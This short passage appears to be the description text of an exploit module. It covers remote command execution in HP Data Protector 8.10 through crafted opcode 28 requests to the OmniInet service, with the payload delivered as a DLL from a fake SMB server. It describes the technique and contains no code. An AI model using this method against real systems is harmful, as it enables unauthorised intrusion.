        This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary
        commands can be execute by sending crafted requests with opcode 28 to the OmniInet
        service listening on the TCP/5555 port. Since there is an strict length limitation on
        the command, rundll32.exe is executed, and the payload is provided through a DLL by a
        fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on
        Windows 7 SP1.
